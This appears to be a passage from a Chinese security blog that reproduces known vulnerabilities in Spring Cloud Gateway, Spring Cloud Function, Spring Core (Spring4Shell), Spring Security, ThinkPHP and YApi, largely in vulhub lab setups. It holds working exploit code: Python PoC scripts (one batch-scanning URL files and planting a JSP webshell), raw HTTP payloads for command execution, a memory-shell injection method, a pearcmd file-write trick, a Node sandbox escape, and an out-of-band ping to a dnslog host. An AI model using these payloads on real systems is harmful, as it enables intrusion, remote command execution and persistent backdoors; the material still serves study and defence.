通过调试发现,在refresh路由时会调用对应GatewayFilterapply函数。当成功创建新的路由后,可以通过GET请求获取配置信息:

img


回顾前面合法的GatewayFilter列表,我们发现存在一个名为AddResponseHeaderGatewayFilterFactory的子类:

img

img


apply函数会将配置信息写入HTTP响应数据包中,所以可以尝试利用AddResponseHeaderGatewayFilterFactory来构造命令回显请求:

img


refresh执行SPEL表达式,将结果写入HTTP响应流,然后访问创建的路由,可以将命令执行的结果回显出来:

img


最后可以发送DELETE请求将创建的新路由删除。

武器化二:Spring Controller内存马


CVE-2022-22947是一个SPEL表达式注入漏洞,并且框架基于Spring Framework实现,所以我们考虑通过漏洞注入Spring内存马。Spring可以在Controller、Interceptor等不同层级构建不同的内存马

本文尝试构造Spring Controller内存马。Spring可以通过`RequestMappingHandlerMapping`来完成`@Contoller`和`@RequestMapping`注解,这里有两个比较关键的类:

`RequestMappingInfo`:一个封装类,对一次http请求中的相关信息进行封装
`HandlerMethod`:对Controller的处理请求方法的封装,里面包含了该方法所属的bean、method、参数等对象

函数`RequestMappingHandlerMapping#registerHandlerMethod`可以将Controller函数与`RequestMappingInfo`对象关联起来。首先寻找`RequestMappingHandlerMapping`对象。我们可以尝试在内存中搜索,借助`java-object-searcher`搜索,结果如下:

img

img


除了上面通过Thread的方式提取RequestMappingInfo之外,通过观察SPEL表达式解析的代码发现上下文环境存在beanFactory的对象:

img

img


存有337个Bean对象信息,可以利用下面代码辅助打印结果:

for(int i = 0; i<((DefaultListableBeanFactory) beanFactory).beanDefinitionNames.toArray().length; i++){
    System.out.println(((DefaultListableBeanFactory) beanFactory).beanDefinitionNames.toArray()[i]);
}

img

img


直接利用SPEL上线文环境中的beanFactory即可获取RequestMappingHandlerMapping对象。SPEL表达式中可以通过@来获取BeanResolver配置的beans对象:

img


接下来创建内存马的过程就很简单了,最终效果就是将如下自定义的Controller子类通过SPEL表达式注入到内存并通过RequestMappingHandlerMapping对象完成路由注册:

img


构造完新的payload后,发送数据包:

img


refresh后将注入内存马:

img


最后同样记得发送DELETE请求将创建的路由删除。

漏洞POC


import requests
import json
import sys


def exec(url):

    headers1 = {
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/json'
    }

    headers2 = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    ## command to execute replace "id" in payload

    payload = '''{\r
      "id": "hacktest",\r
      "filters": [{\r
        "name": "AddResponseHeader",\r
        "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r
        }],\r
      "uri": "http://example.com",\r
      "order": 0\r
    }'''

   

    
    re1 = requests.post(url=url + "/actuator/gateway/routes/hacktest",data=payload,headers=headers1,json=json)
    re2 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
    re3 = requests.get(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
    re4 = requests.delete(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
    re5 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
    print(re3.text)


if __name__ == "__main__":
  print('''   ██████  ██      ██ ████████        ████   ████   ████   ████         ████   ████   ████     ██  ██████
  ██░░░░██░██     ░██░██░░░░░        █░░░ █ █░░░██ █░░░ █ █░░░ █       █░░░ █ █░░░ █ █░░░ █   █░█ ░░░░░░█
 ██    ░░ ░██     ░██░██            ░    ░█░█  █░█░    ░█░    ░█      ░    ░█░    ░█░█   ░█  █ ░█      ░█
░██       ░░██    ██ ░███████  █████   ███ ░█ █ ░█   ███    ███  █████   ███    ███ ░ ████  ██████     █ 
░██        ░░██  ██  ░██░░░░  ░░░░░   █░░  ░██  ░█  █░░    █░░  ░░░░░   █░░    █░░   ░░░█  ░░░░░█     █  
░░██    ██  ░░████   ░██             █     ░█   ░█ █      █            █      █        █       ░█    █   
 ░░██████    ░░██    ░████████      ░██████░ ████ ░██████░██████      ░██████░██████  █        ░█   █    
  ░░░░░░      ░░     ░░░░░░░░       ░░░░░░  ░░░░  ░░░░░░ ░░░░░░       ░░░░░░ ░░░░░░  ░         ░   ░     
 ██                   ██                 ██                              
░██       ██   ██    ░██                ░██                              
░██      ░░██ ██     ░██ ██   ██  █████ ░██  ██  ██████  ███████   █████ 
░██████   ░░███      ░██░██  ░██ ██░░░██░██ ██  ██░░░░██░░██░░░██ ██░░░██
░██░░░██   ░██    ██ ░██░██  ░██░██  ░░ ░████  ░██   ░██ ░██  ░██░███████
░██  ░██   ██    ░░  ░██░██  ░██░██   ██░██░██ ░██   ░██ ░██  ░██░██░░░░ 
░██████   ██      ██ ███░░██████░░█████ ░██░░██░░██████  ███  ░██░░██████
░░░░░    ░░      ░░ ░░░  ░░░░░░  ░░░░░  ░░  ░░  ░░░░░░  ░░░   ░░  ░░░░░░ 
usage: python3 test.py url
''')
  if(len(sys.argv)>1):
    url = sys.argv[1]
    exec(url)
  else:
    exit()

参考文章


Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)(vulhub)

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

参考链接:

漏洞环境

执行如下命令启动一个使用了Spring Cloud Gateway 3.1.0的Web服务:

docker compose up -d

服务启动后,访问http://your-ip:8080即可看到演示页面,这个页面的上游就是example.com。

漏洞复现

利用这个漏洞需要分多步。

首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由:

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行:

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

发送如下数据包即可查看执行结果:

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

最后,发送如下数据包清理现场,删除所添加的路由:

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

再刷新下路由:

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

CVE-2022-22963

Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)

Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。 由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码。

参考链接:

漏洞影响

Spring Cloud Function

漏洞环境

执行如下命令启动一个使用Spring Cloud Function 3.2.2编写的服务器:

docker compose up -d

服务启动后,执行curl http://your-ip:8080/uppercase -H "Content-Type: text/plain" --data-binary test即可执行uppercase函数,将输入字符串转换成大写。

漏洞复现

发送如下数据包,spring.cloud.function.routing-expression头中包含的SpEL表达式将会被执行:

POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4

test

可见,touch /tmp/success已经成功被执行:

image-20240805150039623

POST /functionRouter HTTP/1.1
Host: 192.168.1.27:9000
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping -c 1 dxytoy.dnslog.cn")
Content-Length: 1

image-20240809155619554

CVE-2022-22965

Spring Core JDK9+ Spring4Shell远程命令执行漏洞 CVE-2022-22965

漏洞描述

Spring是目前世界上最受欢迎的JavaEE轻量级开源框架,是Java世界最为成功的框架之一。专注于简化Java企业级应用开发的难度、缩短开发周期。该框架存在远程代码执行漏洞。结合JDK9及以上新版本的特性可以实现对历史漏洞补丁的绕过从而实现远程代码执行。

漏洞影响

JDK 9.0+, Spring 框架, 衍生框架spring-beans-*.jar

漏洞复现

img

img

img

img

img

img

img

漏洞POC

#coding:utf-8

import requests
import argparse
from urllib.parse import urljoin

def Exploit(url):
    headers = {"suffix":"%>//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"

    }
    data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    try:

        go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
        shellurl = urljoin(url, 'tomcatwar.jsp')
        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
        if shellgo.status_code == 200:
            print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami")
    except Exception as e:
        print(e)
        pass




def main():
    parser = argparse.ArgumentParser(description='Srping-Core Rce.')
    parser.add_argument('--file',help='url file',required=False)
    parser.add_argument('--url',help='target url',required=False)
    args = parser.parse_args()
    if args.url:
        Exploit(args.url)
    if args.file:
        with open (args.file) as f:
            for i in f.readlines():
                i = i.strip()
                Exploit(i)

if __name__ == '__main__':
    main()

参考文章


Spring框架Data Binding与JDK 9+导致的远程代码执行漏洞(CVE-2022-22965)(vulhub)

在JDK 9+上运行的Spring MVC或Spring WebFlux应用程序可能存在通过数据绑定执行远程代码(RCE)的漏洞。

现在已知的利用方法要求应用程序以WAR部署的形式在Tomcat上运行,然而,该漏洞的性质更为普遍,可能有其他方法可以利用它。

参考链接:

漏洞环境

执行如下命令启动一个Spring WebMVC 5.3.17服务:

docker compose up -d

服务启动后,访问http://your-ip:8080/?name=Bob&age=25即可看到一个演示页面。

漏洞复现

发送如下数据包,即可修改目标的Tomcat日志路径与后缀,利用这个方法写入一个JSP文件:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

然后,访问刚写入的JSP Webshell,执行任意命令:

http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=id

注意,你需要在利用完成后将class.module.classLoader.resources.context.parent.pipeline.first.pattern清空,否则每次请求都会写入新的恶意代码在JSP Webshell中,导致这个文件变得很大。发送如下数据包将其设置为空:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

总体来说,这个漏洞的利用方法会修改目标服务器配置,导致目标需要重启服务器才能恢复,实际测试中需要格外注意。

CVE-2022-22978

CVE-2022-22978:Spring Security 中 RegexRequestMatcher 的授权绕过漏洞

在 Spring Security 版本 5.5.6 和 5.6.3 以及更早的不支持版本中,RegexRequestMatcher 容易被错误配置,从而在某些 servlet 容器中被绕过。

使用包含 . 正则表达式的 RegexRequestMatcher 的应用程序可能会受到授权绕过的影响。

参考资料:

漏洞环境

服务器启动后,访问 http://your-ip:8080/admin 可以看到访问管理员页面被阻止。

image-20240805150402754

漏洞复现

发送以下请求访问管理员页面:

thinkphp

2-rce

ThinkPHP 2.x 任意代码执行漏洞

ThinkPHP 2.x版本中,使用preg_replace/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

环境搭建

执行如下命令启动ThinkPHP 2.1的Demo应用:

docker compose up -d

环境启动后,访问http://your-ip:8080/Index/Index即可查看到默认页面。

漏洞复现

直接访问http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D即可执行phpinfo()

image-20240805151342228

5.0.23-rce

ThinkPHP5 5.0.23 远程代码执行漏洞

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

参考链接:

漏洞环境

执行如下命令启动一个默认的thinkphp 5.0.23环境:

docker compose up -d

环境启动后,访问http://your-ip:8080即可看到默认的ThinkPHP启动页面。

漏洞复现

发送数据包:

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

成功执行id命令:

image-20240805151407655

5-rce

ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

参考链接:

漏洞环境

运行ThinkPHP 5.0.20版本:

docker compose up -d

环境启动后,访问http://your-ip:8080即可看到ThinkPHP默认启动页面。

漏洞复现

直接访问http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1,即可执行phpinfo:

image-20240805151433365

in-splinjection

ThinkPHP5 SQL注入漏洞 && 敏感信息泄露

运行环境:

docker compose up -d

启动后,访问http://your-ip/index.php?ids[]=1&ids[]=2,即可看到用户名被显示了出来,说明环境运行成功。

漏洞原理

漏洞原理说明:

不再赘述。

漏洞利用

访问http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1,信息成功被爆出:

当然,这是一个比较鸡肋的SQL注入漏洞。但通过DEBUG页面,我们找到了数据库的账号、密码:

这又属于一个敏感信息泄露漏洞。

lang-rce

ThinkPHP 多语言本地文件包含漏洞

ThinkPHP是一个在中国使用较多的PHP框架。在其6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以使用lang参数来包含任意PHP文件。

虽然只能包含本地PHP文件,但在开启了register_argc_argv且安装了pcel/pear的环境下,可以包含/usr/local/lib/php/pearcmd.php并写入任意文件。

参考链接:

漏洞影响

Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x

环境搭建

docker pull vulhub/thinkphp:6.0.12

漏洞环境

执行如下命令启动一个使用ThinkPHP 6.0.12版本开发的Web应用:

docker compose up -d

环境启动后,访问http://your-ip:8080即可查看到ThinkPHP默认的欢迎页面。

漏洞利用

首先,ThinkPHP多语言特性不是默认开启的,所以我们可以尝试包含public/index.php文件来确认文件包含漏洞是否存在:

如果漏洞存在,则服务器会出错,返回500页面。

文件包含漏洞存在的情况下还需要服务器满足下面两个条件才能利用:

  1. PHP环境开启了register_argc_argv
  2. PHP环境安装了pcel/pear

Docker默认的PHP环境恰好满足上述条件,所以我们可以直接使用下面这个数据包来在写shell.php文件:

GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Cache-Control: max-age=0

如果服务器返回pearcmd的命令行执行结果,说明漏洞利用成功:

此时访问http://your-ip:8080/shell.php即可发现已经成功写入文件:

image-20240805151521250

image-20240809162206566

yapi

mongodb-inj

YApi NoSQL注入导致远程命令执行漏洞

YApi是一个API管理工具。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。

参考链接:

漏洞环境

执行如下命令启动一个YApi v1.10.2服务:

docker compose up -d

环境启动后,访问http://your-ip:3000即可看到YApi首页。

漏洞复现

本漏洞的利用需要YApi应用中至少存在一个项目与相关数据,否则无法利用。Vulhub环境中的YApi是一个即开即用、包含测试数据的服务器,所以可以直接进行漏洞复现。

使用这个POC来复现漏洞:

python poc.py --debug one4all -u http://127.0.0.1:3000/

image-20240805170431959

unacc

YApi开放注册导致RCE

中文版本(Chinese version)

YApi是一个API管理工具。如果注册功能开放,攻击者可以使用Mock功能执行任意代码。

参考链接:

漏洞环境

执行如下命令启动一个YApi 1.9.2:

docker compose up -d

环境启动后,访问http://your-ip:3000即可查看到YApi首页。

漏洞复现

首先,注册一个用户,并创建项目和接口:

接口中有一个Mock页面可以填写代码,我们填写包含恶意命令的代码:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("id;uname -a;pwd").toString()

然后,回到“预览”页面可以获得Mock的URL:

打开这个URL,即可查看到命令执行的结果:

image-20240805170505024


文章作者: 吗喽の小屋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 吗喽の小屋 !
  目录